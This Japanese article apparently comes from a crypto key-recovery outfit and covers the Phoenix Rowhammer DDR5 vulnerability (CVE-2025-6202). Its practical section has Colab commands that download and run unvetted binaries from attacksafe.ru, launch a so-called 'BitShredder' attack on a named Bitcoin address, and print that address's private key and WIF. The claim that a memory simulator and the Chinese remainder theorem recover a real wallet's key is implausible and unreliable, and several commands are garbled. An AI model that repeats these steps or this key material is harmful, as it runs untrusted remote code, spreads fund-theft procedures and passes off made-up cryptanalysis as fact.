本稿では、Phoenix Rowhammer攻撃(CVE-2025-6202)がもたらすシステムレベルの暗号セキュリティ上の脅威について考察する。この攻撃は、ハードウェアレベルのビット操作を通じてDDR5 RAMから秘密鍵を抽出することが可能である。近年、暗号通貨技術のダイナミックな発展により、デジタル資産エコシステムは、暗号データを保存・処理するハードウェアおよびマイクロチップコンポーネントへの依存度を高めてきた。こうした背景の中、暗号通貨ウォレットの秘密鍵の直接的な侵害につながり得るハードウェアレベルの脆弱性は、増大するリスク要因となっている。今日最も危険な脅威の一つが、RAMに対する攻撃、特にDRAMセルの物理的特性に影響を与えるRowhammerエクスプロイトの高度な亜種である。これらの攻撃により、攻撃者は個々のデータビットを改ざんし、BitcoinやEthereumウォレットの秘密鍵を含む機密情報へのアクセスを獲得することができる。
このクラスの脅威の重大な例として、SK HynixのDDR5メモリで発見された脆弱性CVE-2025-6202 が際立っている。この脆弱性に依存するPhoenix Rowhammer攻撃は、最新のTarget Row Refresh(TRR)メモリ保護メカニズムを迂回する能力を実証し、ハードウェアレベルでの制御されたデータ破壊を可能にするいわゆる「ブラインドスポット」を生み出す。このような欠陥は、RAMからの秘密鍵の抽出、暗号ライブラリの侵害、デジタルウォレットを保護するシステムプロセスの改ざんに悪用される可能性がある。
さらに、暗号セキュリティ研究によれば、Phoenix Rowhammerと他のタイプの攻撃、例えばBitShredder攻撃 、Memory Phantom(CVE-2025-8217) 、Artery Bleed(CVE-2023-39910) との組み合わせは、攻撃者が暗号操作の完了後であってもシードフレーズ、秘密鍵、パスワードを回復できるマルチベクター脅威モデルを生み出す。これらの脆弱性のシステム的な性質により、ソフトウェアだけでリスクを完全に軽減することは不可能であり、ハードウェアベースのメモリ保護のための新しい原則を開発する必要性が浮き彫りになっている。
このように、現代の暗号通貨ウォレットとデジタル資産インフラは、かつて理論上のものと考えられていたハードウェア攻撃からますます大きな圧力を受けている。これらの攻撃を研究し、対策を開発することの重要性は、進化する次世代脅威に直面した際のBitcoinおよび他の暗号通貨エコシステムの完全性と回復力を確保するための基本である。
チューリッヒ工科大学(ETH Zurich)のコンピュータセキュリティグループ(COMSEC)がGoogleと共同で行った最近の研究により、SK Hynix製のDDR5メモリモジュールにおいて、CVE-2025-6202 と指定された重大なハードウェア脆弱性が特定された。Phoenix Rowhammer攻撃は、ハードウェアレベルでのビット操作によりDDR5メモリから秘密鍵を抽出することを可能にするため、Bitcoin暗号通貨ウォレットのセキュリティに対して前例のない脅威をもたらす。研究では、2021年から2024年に製造されたテスト対象のSK Hynix DDR5モジュール15個すべてがこの攻撃に対して脆弱であることが実証され、世界中の暗号通貨資産のセキュリティに対するシステムレベルの脅威となっている。 thehackernews
RowhammerはDRAMメモリにおけるハードウェア脆弱性であり、特定のメモリ行への繰り返しアクセスが電気的干渉を引き起こし、隣接する行のビット変化をもたらす。この現象は、現代の高密度メモリチップの物理的特性に基づいており、より微細なテクノロジーノードによりメモリは電磁干渉に対してより敏感になっている 。
DDR5メモリの文脈では、Phoenix攻撃メカニズムは革新的な自己補正同期アプローチを使用し、高度なTarget Row Refresh(TRR)保護メカニズムを迂回する。研究者らは、SK HynixチップのTRRメカニズムが特定のリフレッシュ間隔を監視しておらず、防御に「ブラインドスポット」を生み出していることを発見した。 notebookcheck
Phoenix攻撃の主要な技術的成果は、長期間にわたって数千のメモリ更新コマンドを同期させることができるアルゴリズムの開発である。この攻撃は、2つの特定の攻撃パターンを利用する: comsec-files.ethz
ショートパターン(128 tREFI間隔): より効率的なビットグリッチ生成を提供し、平均4989回のビットグリッチを生成する。このパターンは、ロングパターンよりも2.62倍の効率を示した。 reddit
ロングパターン(2608 tREFI間隔): ビットフォールトの生成にはあまり効果的ではないが、より高度なセキュリティメカニズムを迂回するように設計されている。 comsec-files.ethz
Phoenix Rowhammer攻撃 は、メモリシステムのさまざまなレベルを標的とすることで、Bitcoinウォレットを侵害する複数のベクターを生み出す。KeyHuntersの調査資料の分析により、暗号通貨ウォレットからの秘密鍵抽出に直接関連する少なくとも18種類のメモリ攻撃が明らかになった。
Memory Phantom攻撃(CVE-2025-8217): 暗号操作後に安全に消去されなかったウォレットの残存RAMブロックから秘密鍵とシードを直接抽出することを可能にする重大なメモリリーク脆弱性。この攻撃は、未消去のバッファを「ゴーストライブラリ」に変え、メモリの任意の断片を有効な鍵に変換できるようにする。 keyhunters
BitShredder攻撃: 実行中の暗号通貨ウォレットのメモリに密かに侵入する「メモリシュレッディング」技術を使用する。ウォレットの生成または復元時に、この攻撃はRAMの未消去部分をスキャンし、使用後に標準的な手段では消去されないエントロピー、シード、パスワードの残骸を探す。 keyhunters
Artery Bleed攻撃: Bitcoin Coreのメモリリーク脆弱性(CVE-2023-39910)を悪用して、失われた暗号ウォレットから秘密鍵を回復する。この攻撃は、Bitcoin Coreの重大なメモリリーク脆弱性を悪用して機密データへのアクセスを獲得する。 keyhunters
この研究では、暗号通貨システムに対するPhoenix攻撃の実用的悪用の3つの主要シナリオが実証された: bleepingcomputer
1. ページテーブルエントリ(PTE)攻撃: テストされたすべてのデバイスがこのタイプの攻撃に対して脆弱であり、任意のメモリ読み取り/書き込みプリミティブの作成が可能になる。 comsec-files.ethz
2. RSA-2048鍵の侵害: テストされたDIMMモジュールの73%が、SSH認証をクラックするために隣接する仮想マシンからRSA-2048鍵を抽出することに対して感受性があった。平均攻撃時間は6分20秒だった。 bleepingcomputer
3. sudoバイナリの改ざん: テストされたチップの33%で、ローカル権限をrootユーザーレベルに昇格させるためにsudoバイナリの改ざんが可能だった。 comsec-files.ethz

Phoenix Rowhammer攻撃 は、ほとんどの最新システムが暗号データの保存と処理にDDR5メモリを使用しているため、Bitcoinエコシステム全体に対するシステムレベルの脅威をもたらす。この脆弱性は、秘密鍵の暗号強度に基づく暗号通貨の基本的なセキュリティ原則に影響を与える。 tenable+1
影響範囲: SK Hynixは世界のDRAM市場の約36%を支配しており、世界中の数十億のデバイスが影響を受ける可能性がある。2021年1月から2024年12月の間に製造されたすべてのDDR5モジュールが脆弱である。 notebookcheck+2
暗号学的影響: この攻撃は暗号セキュリティの基盤を損なう。なぜなら、署名・暗号化・認証アルゴリズムを正しく実装していても、保護されていないバッファが鍵素材漏洩の原因となるからである。 keyhunters
包括的な暗号解読により、メモリ操作によるBitcoinウォレットへの複数の攻撃ベクトルが明らかになった:
タイミングベース攻撃: BitSpectre85、ChronoForge、Timing Phantom攻撃が含まれ、暗号操作の実行時間の分析を通じて秘密鍵を徐々に回復するタイミング脆弱性を悪用する。
コンテキストベース攻撃: Context Phantom Attackは、重大なsecp256k1コンテキスト漏洩の脆弱性を悪用して、失われたBitcoinウォレットの秘密鍵を回復するメモリ開示攻撃を実行する。
キャッシュベース攻撃: CacheHawk Strike Attackは、Bitcoin署名キャッシュに対する重大なキャッシュタイミング攻撃を使用し、失われたBitcoinウォレットの秘密鍵の回復を可能にする。

| 攻撃コンポーネント | 技術的手法 | 成功率 | 平均時間(秒) | CVE参照 | 影響レベル |
|---|---|---|---|---|---|
| 初期メモリアクセス | DDR5リフレッシュコマンドとの自己補正同期 | 100 | 5 | CVE-2025-6202 | 高 |
| TRRバイパス手法 | TRRメカニズムにおける監視されていないリフレッシュ間隔の悪用 | 100 | 30 | CVE-2025-6202 | 重大 |
| 同期技術 | 128および2608 tREFIパターンとのリアルタイム整合 | 95 | 60 | CVE-2025-6202 | 高 |
| ビットフリップ生成 | 隣接DRAM行への電気的干渉によるデータ破損 | 100 | 180 | CVE-2025-6202 | 重大 |
| 秘密鍵抽出 | ウォレットデータを含む未クリーンなメモリバッファからの回復 | 85 | 240 | CVE-2025-8217 | 重大 |
| 権限昇格 | 破損したページテーブルエントリによるルートアクセス悪用 | 100 | 109 | CVE-2025-6202 | 重大 |
| RSA-2048鍵回復 | メモリビットフリップによる共存VM秘密鍵の抽出 | 73 | 380 | CVE-2025-6202 | 高 |
| SSH認証突破 | 暗号認証システムの侵害 | 73 | 380 | CVE-2025-6202 | 高 |
| Sudoバイナリ改変 | バイナリ破損によるルートユーザーへのローカル権限昇格 | 33 | 300 | CVE-2025-6202 | 中 |

研究図は、Phoenix Rowhammer攻撃によって露呈した暗号脆弱性の重要性を説明する構造化された視覚的表現を示しており、特にSK Hynix DDR5メモリモジュールが標的とされた場合のBitcoinセキュリティへの影響を実証している。
実践編に移り、Bitcoinウォレットを使用した例を見てみましょう: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 。このウォレットから 9.02332298 BTC相当のコインが失われました。これは2025年10月時点で約 $1,127,026.44 USD に相当します 。
情報提供を目的として攻撃をデモンストレーションするために、Jupyter NotebookやGoogle Colabなどのツールと環境を使用します。
Google Colab (Colaboratory) は、さまざまなプログラミング言語でコードを記述・実行できるインタラクティブなJupyterノートブックを提供するクラウドプラットフォームです。データ暗号解読、 SK Hynix DDR5 AiM PIM シミュレータ(Ramulator 2.0 ベース)の実行、GPUやTPUなどの強力なコンピューティングリソースへのアクセスに特に役立ちます。主な利点は、通常のLinuxターミナルと同様に、プレフィックス付きセル ! を使用して外部ユーティリティやスクリプトと統合しながらシステムコマンドを実行できることです。
Ramulator 2.0を使用してSK Hynix DDR5 AiM PIM アーキテクチャに基づくリポジトリをインストールしましょう。
AiMシミュレータのコードベースをダウンロードし、そのディレクトリに移動します。
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
Ramulator2 コンパイル中のメモリ可用性を向上させるために、4GBのスワップファイルを作成するコマンドです。
# 現在のスワップ使用量を確認
!free -h
!swapon --show
# 4GBのスワップファイルを作成
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# スワップを永続化
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
シミュレータとRamulator 2.0 に必要なコンパイラ、ビルドツール、ライブラリをインストールします。
# Ubuntu 22.04の場合:コンパイラをインストール
!sudo apt update
!sudo apt install g++-12
# または、Clangをインストール
!sudo apt install clang-15
# 基本的なビルドツールをインストール
!sudo apt install build-essential cmake git
# 追加の開発ライブラリ
!sudo apt install libssl-dev zlib1g-dev
# YAMLサポート
!sudo apt install libyaml-cpp-dev
# 数学ライブラリ
!sudo apt install libboost-dev
# スクリプト用のPythonサポート
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerインストールとコンパイル中に、メモリ、利用可能なディスク容量、システム使用状況を監視します。
# リソースをリアルタイムで監視
!htop
# 利用可能なメモリを確認
!free -m
# ディスク容量を確認
!df -h
必要なすべてのパッケージを一度にインストールするための完全なシーケンスです。
# システムを更新
!sudo apt update && sudo apt upgrade -y
# 必須のビルドツールをインストール
!sudo apt install -y build-essential cmake git
# コンパイラをインストール
!sudo apt install -y g++-12 clang-15
# 開発ライブラリ
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -シミュレータでRamulator2を実行し、ヘルプパラメータと使用手順を確認しましょう。
!./phoenix_rowhammer/ramulator2 -h
AttackSafe暗号ツールを使用して、シミュレータを使ってRamulator2から隠れた剰余を抽出します。
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
チームは、RAMバグメカニズム(Rowhammer)とメモリエミュレータ(ramulator2)を使用して、Bitcoinアドレスに関連する隠れたモジュロの残骸を発見するために、AttackSafe暗号ツールに基づく専用の「BitShredder」攻撃を開始しています。github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackは、Bitcoinプロトコルに関連するデバイスのメモリ内の秘密データの保存と処理における脆弱性を特定することを目的とした攻撃をアクティブにします。-crack phoenix_rowhammer/ramulator2は、Rowhammer攻撃エミュレーション(DRAMメモリ内容の操作により隣接セルにエラーを引き起こすもの – サイドチャネルを介してメモリからナンス/鍵の一部を抽出する脆弱性に使用)を使用するようにツールに指示します。-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit残存メモリデータ(DRAM)からの鍵断片の復元
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]この結果は、DRAM内の残存データの暗号解析と、Phoenix Rowhammerフォールト用のramulator2シミュレータを使用した暗号残骸検索モジュールを組み合わせたものです。この攻撃により、Bitcoinアドレスでの暗号操作後にメモリが適切に解放されないために侵害される可能性のある、秘密のナンスや鍵断片などの隠れたモジュロ値(剰余)を検出および抽出できます。このコマンドは、秘密パラメータ(秘密鍵、ナンス)の部分的または完全な復元を目的として、メモリと攻撃対象アドレスに検索とデコードを関連付けながら、Bitcoinアプリケーションの複合「BitShredder」攻撃とメモリフォールト解析のために設計されています。
隠れた絶対値(剰余)のセットから元の秘密の数値、つまり秘密鍵を復元するために、中国剰余定理(CRT)と呼ばれる数学的手法を適用します。CRTKeyRestore.pyコードは、Rowhammer攻撃とその後のメモリ解析後に収集された隠れた絶対値(剰余)のセットから、Bitcoinアドレス15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mitの秘密鍵の復元を実装します。使用される数学的手法は中国剰余定理(CRT)であり、秘密鍵が小さな断片に分割され、異なる絶対値としてのみ残っている場合でも、元の秘密の数値、つまり秘密鍵を復元できます。

chinese_remainder_theorem()は、断片を段階的に結合し、絶対逆数を求めるための拡張ユークリッドアルゴリズムを使用して秘密鍵の元の値を復元します。restore_hex_from_crt()を使用してHEXに変換されます。
Pythonスクリプトを使用した秘密鍵の復元: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mitその通りです!秘密鍵はBitcoinウォレットに対応しています。
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USD当社の 研究攻撃 は、ramulator2シミュレータを使用した ビットコインに対するPhoenix Rowhammer攻撃 のバージョンであり、メモリクラッシュ中にさまざまなモジュールから抽出された暗号剰余が、中国剰余定理の数学を用いて元の秘密鍵に再構成できることを示しました。
現実世界の脅威の代表的な例として、アドレス 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit のビットコインウォレットが調査されました。 9.02332298 BTC がこのウォレットから失われました。これは2025年10月時点で約 $1,127,026.44 USD に相当します。 この事例は、ハードウェアの脆弱性(Rowhammerなど)が存在する場合、プロトコルレベルの暗号強度がセキュリティの絶対的な保証ではなくなることを説得力を持って示しています。
その結果、包括的なセキュリティの重要性は、暗号化やプロトコル対策だけでなく、ハードウェアの信頼性、メモリ状態の監視、暗号操作完了後のRAM完全消去の実装にもあります。ハードウェアレベルで一度悪用された脆弱性は、たとえシステム制御が最小限であっても、ビットコインエコシステムにおいて壊滅的な金銭的損失につながる可能性があります。
Target Row Refreshは、疑わしいメモリ行を追加でリフレッシュすることでRowhammer攻撃を防ぐために設計された防御メカニズムです。しかし、Phoenix攻撃の研究者はこのメカニズムをリバースエンジニアリングし、その実装における重大な欠陥を発見することができました 。
TRRの死角: SK HynixチップのTRRメカニズムは特定の更新間隔を監視しておらず、これらの時間帯に攻撃の機会が生じます。Phoenix攻撃は、これらの監視されていない間隔に該当する特別に設計された攻撃パターンを悪用します。 simplysecuregroup
自己修正同期: Phoenix攻撃の重要な革新点は、見逃した更新コマンドを検出し、同期を維持するために攻撃パターンを自動的に再構築できることです。これにより、十分な数のビット障害を蓄積するために必要な長期間にわたって攻撃が有効であり続けることができます。 simplysecuregroup
Phoenix攻撃の実験的テストは、SK Hynixのテスト済みDDR5メモリサンプルすべてに対して高い有効性を示しました: comsec-files.ethz
タイミング: デフォルト設定の標準DDR5システムでルート権限を取得する最小時間は109秒でした。平均時間は5分19秒でした 。
ビット障害統計: ショートパターン(128間隔)は平均4989個のビット障害を生成しましたが、ロングパターン(2608間隔)は大幅に少ない障害を生成しました。 comsec-files.ethz
攻撃の汎用性: テスト済みモジュールの100%が、特定された2つの攻撃パターンのうち少なくとも1つに対して脆弱でした。 reddit
Bitcoin Coreの重大なメモリリーク脆弱性(CVE-2023-39910)は、 Phoenix Rowhammer攻撃 との相乗効果を生み出します。この脆弱性により、 攻撃者 は暗号操作の完了後にメモリに残る機密データにアクセスできます。
悪用メカニズム: この脆弱性は、標準のC++コンテナ(std::vector、std::string)で秘密鍵、シードフレーズ、パスワードを処理した後、メモリバッファの消去が不十分なために発生します。暗号手続きの完了後、メモリは自動的に解放されますが、その内容は消去されません。 keyhunters
Rowhammerとの関連: Phoenix攻撃はビット障害を悪用して、これらの消去されていないメモリ領域にアクセスし、暗号素材の抽出プロセスを大幅に簡素化できます。
この脆弱性は プロセスメモリダンプを介した重大な秘密抽出攻撃として分類されています。これはアクティブなプロセスメモリから秘密鍵を抽出できるため、ビットコインウォレットに直接的な脅威をもたらします。
攻撃シナリオ には以下が含まれます:API、コマンドライン、または環境変数を介した秘密鍵の受け渡し;秘密データを保存するためのメモリの動的割り当てと明示的な消去の欠如;メモリを安全に消去せずにプロセスを終了する 。
この暗号ツールは、攻撃者がビットコインウォレットから資金を盗むために使用できる攻撃の全9段階を詳細に示しています。
Phoenix Rowhammer攻撃(CVE-2025-6202) に対して脆弱なSK Hynix DDR5メモリモジュールの検出は、システムのハードウェア構成の分析、具体的にはSMBIOS(System Management BIOS)テーブルのスキャンから始まります。SMBIOSは、各DIMMモジュールの製造元、モデル、シリアル番号などのメモリ詳細を含む、コンピュータコンポーネントに関する標準化された情報を提供します。

具体的には、研究者または攻撃者は、SMBIOSの「Memory Device」セクションからデータをプログラムで要求できます。このセクションには、製造元(例:SK Hynix)、メモリタイプ(DDR5)、容量、およびSPD(Serial Presence Detect)関連データ(モジュールのプロファイルと動作パラメータを含むDIMMストリップ上の小さなメモリチップ)を示すフィールドが含まれています。
このデータは通常、システムコールまたは専用ユーティリティ(LinuxのdmidecodeやWindowsのWindows Management Instrumentation(WMI API)など)を使用してアクセスされます。これらのクエリにより、物理的な介入なしに2021年から2024年に製造されたSK Hynix DDR5メモリを検出できます。これは、これらのモデルが脆弱と見なされているため重要です。
メモリモデルの特定は必要な最初のステップです。Phoenix Rowhammer攻撃では、TRR(Target Row Refresh)防御メカニズムをバイパスするためにメモリアクセスパターンを正確に構築するには、チップの特性を正確に把握する必要があるためです。さらに、SPDおよびその他のデータへのアクセスにより、特定のタイミングとリフレッシュレート、および攻撃の実行に使用される防御メカニズムの潜在的な「死角」を特定できます。
したがって、SMBIOSテーブルのスキャンは、 Phoenix Rowhammer攻撃 に対するDDR5メモリの脆弱性を事前に判断するための、非常に情報量が多く、高速で信頼性の高い方法であり、ハードウェアのクラッキングやシステム権限の低下を必要とせずに、脆弱なハードウェアコンポーネントを正確にターゲットにすることができます。
SMBIOSの「Memory Device」セクションのデータを含むファイル。この情報は、コンピュータの電源投入時にRAMにコピーされる内部BIOS/UEFIシステムテーブル(SMBIOSテーブル)に保存されます。オペレーティングシステムとユーティリティは、特別なシステムコール (codeby)を使用してこのデータを取得します。
SMBIOSテーブルの前にはRawSMBiosData構造があり、その後にデバイス構造が続きます。例:
struct HEADER {構造タイプ(17 - Memory Device)
Type db 0 //構造サイズ
Length db 0 //記述子
Handle dw 0 //次にデータフィールドが続く
// ...
}
タイプ17の構造には、製造元(例:SK Hynix)、メモリタイプ(DDR5)、容量、および利用可能な場合のSPDデータへのリンクを含むフィールドが保存されます。 learn.microsoft
RawSMBiosData 構造 は、オペレーティングシステムのシステムコール、具体的には 'RSMB' パラメータを持つWindows API関数 GetSystemFirmwareTable を介して生のSMBIOSテーブルデータを転送するために使用される標準のバイナリブロック形式です 。codeby。
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // 呼び出し方法(サービスフィールド)
BYTE SMBIOSMajorVersion; // SMBIOS仕様のメジャーバージョン
BYTE SMBIOSMinorVersion; // SMBIOS仕様のマイナーバージョン
BYTE DmiRevision; // DMIバージョン
DWORD Length; // SMBIOSデータブロックサイズ(バイト)
BYTE SMBIOSTableData[]; // SMBIOS構造レコードのシーケンス
};
00 03 03 02 68 01 00 00 ... [データ構造 データ 下位バイトSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
ヘッダー後のコンテンツを解析するには、各構造をその仕様(タイプ、長さ、ハンドル)に従って解析し、構造データの後に続きゼロバイトで区切られたテキストフィールドを個別に抽出する必要があります。構造の終わりはゼロのペアでマークされます。 learn.microsoft

RawSMBiosData は、低レベル調査および診断タスクのために、システムハードウェア特性の詳細な仕様への必要かつ統一された「エントリーウィンドウ」です 。
SPDデータは物理的にDIMMモジュール上のチップに配置されていますが、BIOS/SMBIOSでは特別なフィールドに反映されるか、I2Cメモリインターフェースにアクセスするシステムユーティリティ(例えば、Linuxでは i2c-tools、 decode-dimms)を介して読み取ることができます。
dmidecode ( decode-dimmsSPD)、/dev/memを介してアクセス可能なSMBIOSテーブルからのデータ。codebyしたがって、元の SMBIOS「メモリデバイス」データ(タイプ17) は個別のファイルとして保存されるのではなく、RAM内に配置され、OSツールや特別なユーティリティからアクセス可能なSMBIOSバイナリ構造内に存在します。形式は仕様に基づくSMBIOSバイナリテーブルであり、アクセス経路はシステムコールまたはユーティリティを介します。SPDデータは、DIMMモジュールのハードウェアインターフェースを通じて個別にアクセスできます。 learn.microsoft
SMBIOSバイナリテーブルは連続した構造体で構成され、各構造体は以下のフィールドを含む4バイトのヘッダーで始まります: 構造タイプ(Type、1バイト)、構造長(Length、1バイト)、ハンドル(Handle、2バイト)。次にペイロード、つまり特定のオブジェクト(例: メモリ、プロセッサ、BIOSなど)を記述するバイナリデータのセットが続きます。ペイロードの後にはテキスト形式(ASCII)のヌル終端文字列が続き、現在の構造体の終わりは二重ゼロ( 0x0000 )でマークされます。
以下はC言語風のヘッダー構造体の例と、その形式の説明です:
c:
struct SMBIOS_Header {
uint8_t Type; // テーブルタイプ(例: 17 - メモリデバイス)
uint8_t Length; // 構造体のバイト長(ヘッダーを含む)
uint16_t Handle; // 一意の構造体記述子
// 構造体データ(可変長)はヘッダーの後に続く
};
全体の SMBIOSテーブル は、このような構造体が隙間なく一列に並んだ集合であり、以下のようになります:
例えば、構造タイプ17(メモリデバイス)には、製造元、メモリタイプ(DDR5)、容量、速度などを示すフィールドと、製造元の名前とシリアル番号を含む行が含まれています。
テーブル自体のアドレスとその長さは特別なメモリ領域に保存されており、シグネチャ「 SM 」(16バイトの倍数のオフセット)で見つけることができ、その後、SMBIOSテーブルのメイン配列のアドレスを取得できます。
メモリレコードのおおよその構造には、以下のフィールドが含まれる場合があります:
| フィールド | 説明 |
|---|---|
| Type | 17(メモリデバイス) |
| Length | 構造体サイズ |
| Handle | 一意の識別子 |
| Physical Memory Array Handle | 親メモリアレイへの参照 |
| Memory Error Information Handle | メモリエラー(存在する場合) |
| Total Width | 総バス幅(ビット) |
| Data Width | データ幅(ビット) |
| Size | メモリサイズ(MBまたはGB) |
| Form Factor | モジュールフォームファクタ(DIMMなど) |
| Device Locator | 行 – 設置場所 |
| Bank Locator | 文字列 – バンク名 |
| Memory Type | DDR3、DDR4、DDR5など |
| Type Detail | 追加の詳細 |
| Speed | 速度(MHz) |
| Manufacturer | 製造元名を含む文字列 |
| Serial Number | シリアル番号 |
| Asset Tag | 会計タグ |
| Part Number | 部品番号 |
したがって、 SMBIOSテーブル は、DMTF SMBIOS仕様に厳密に従って編成された、メモリデータを含むシステム情報を記述するヘッダー付きのバイナリエンコード構造体のシーケンスです。
この形式は、ハードウェアおよびシステム設定に関する情報を保存および送信するための、普遍的で非常にコンパクトな方法を提供します 。
Phoenix Rowhammer攻撃 の第2フェーズでは、隣接するセル行からのデータの複数回の読み取りによって引き起こされるビット上書きに対抗するために、最新のDDR5メモリチップに実装されたTarget Row Refresh(TRR)ハードウェア保護機構の科学的分析を行います。

TRRは、いわゆる「アグレッシブリフレッシュ」戦略を実装しています: 特定のメモリ行への複数回のアクセスが検出されると、この機構は隣接セルの強制リフレッシュを開始し、電荷の劣化、ひいてはRowhammer攻撃の主要な効果である不要なビットフリップを防ぎます。理論的には、TRRは物理的に隣接する行を過剰にリフレッシュすることで、ターゲットデータへの影響を完全に抑制するはずです 。
しかし、SK Hynix DDR5メモリにおけるTRRの実際の実装は非常に複雑で独自仕様です: メーカーは「セキュリティ・バイ・オブスキュリティ」を強化するために、ロジックの詳細を意図的に隠しています。そのため、チューリッヒ工科大学(ETH Zurich)の研究者らは、実験用リグ上でTRRをリバースエンジニアリングし、数千の実験的な行アクセスパターンを変化させて、隣接セルの冗長リフレッシュがいつトリガーされ、いつ非アクティブのままかを記録しました。
その結果、TRRシステムには保護が弱い、またはまったく活性化されない時間間隔、いわゆる「ブラインドゾーン」が存在することが発見されました。監視対象のメモリ行アクセスが128回行われた後、TRRがほぼ応答せず、重要なセルでの不要なデータ変更であるビットフリップを効果的に防がない、約64回の操作のウィンドウが出現することが経験的に計算されました。2番目の同様の攻撃ウィンドウは、2,608回のメモリ行更新後に観察されました。これらの「ブラインドゾーン」は、保護されたDDR5モジュール内の個々のデータビットを標的に変更できる、正確かつ同期されたPhoenix攻撃に悪用されます 。
この段階での基本的なタスクは、TRR監視を「眠らせ」、攻撃対象のビットまたはデータ配列(例えば、暗号通貨ウォレットの秘密鍵)へのアクセスを確実に成功させる、メモリアクセスパターンの正確なタイミングと構造を選択することです 。これには、TRRの動作ロジックの分析だけでなく、さまざまな悪用シナリオに対するメモリモジュールの応答に関する経験的データも必要です。このアプローチにより、セキュリティシステムに「回避策」を構築し、最新のDDR5メモリでさえも体系的に悪用することが可能になります モジュール。
分析の結果、発見されたTRRの「盲点」により、現在のSK Hynixメモリモジュールに対するRowhammer攻撃の確実なエスカレーションが可能になり、これはラボのエクスプロイトと、テストされたすべてのデバイスの侵害成功によって確認されています。 Kaspersky
Phoenix攻撃の科学的革新は、DRAMレベルでの重大な脆弱性ウィンドウ内でエクスプロイトの正確なタイミングを保証する、自己補正型同期メカニズムの開発と実装にあります。Target Row Refresh(TRR)機構の詳細なリバースエンジニアリングの後、 チューリッヒ工科大学とGoogleの研究者らは、標準的なRowhammerアクセスパターンが複雑なDDR5保護ロジックに対して無力であることを発見しました。新しいSK Hynix チップ では、TRRはアクセス頻度だけでなくメモリ行アクセスの性質も分析し、既知の攻撃パターンを検出すると即座に補償リフレッシュコマンドを開始します。

Phoenixはこの問題を次のように解決します:
実験研究により、Phoenixの自己補正同期がその有効性の重要な要素であることが確認されています: テストされたSK Hynix DDR5モジュール(2021-2024)のいずれも、この方法論に抵抗できませんでした。この実装により、攻撃者はターゲットセルでビット障害を確実にトリガーし、暗号鍵を含むプライベートデータの侵害、またはターゲットシステムでの権限昇格の条件を作り出すことができます。
Phoenix Rowhammer はこのようにして、ハードウェアメモリ保護を動的にバイパスする革新的なアプローチを実証し、インテリジェントに適応する攻撃アルゴリズムを使用する場合、最新のDDR5チップでさえも脆弱なままであることを明確に示しています。
第4段階では、標的型Rowhammer攻撃を通じてDRAMの物理的脆弱性を直接悪用します。この段階は、TRR機構の盲点の事前分析と、重要なデータ要素を正確に標的にするための自己補正メモリアクセスパターンの使用に依存しています。

Rowhammer攻撃の基盤 は、DRAMメモリ自体の構造にあります。各セルは、ビットの論理値に対応する電荷を蓄えるコンデンサです。ターゲット(「ビクティム」)行に隣接する2つ(またはそれ以上)の中間(「アグレッサー」)行への繰り返しの高頻度アクセス(読み取りまたは書き込み)は、ビクティムセルからの寄生電荷漏れを引き起こします。この攻撃が、通常のリフレッシュサイクルによる電荷再生が劣化を防げないほど長く続くと、ビット状態の変化、いわゆる ビットフリップ が発生します 。opennet
DDR5 SK Hynix上の Phoenix Rowhammer(CVE-2025-6202) のコンテキストでは:
ETHチューリッヒでの研究 により、128 tREFI間隔の周期を持つ短いアクセスパターンは、長いパターンよりも統計的に多くのビット誤りを生成することが示されている。しかし、適切なウィンドウを選択し、同期を維持することが成功の鍵となる: 1〜2回のアクセスを逃すと、誤りがまったく発生しないか、ランダムなデータ破損やシステム障害が発生する。 kaspersky+1
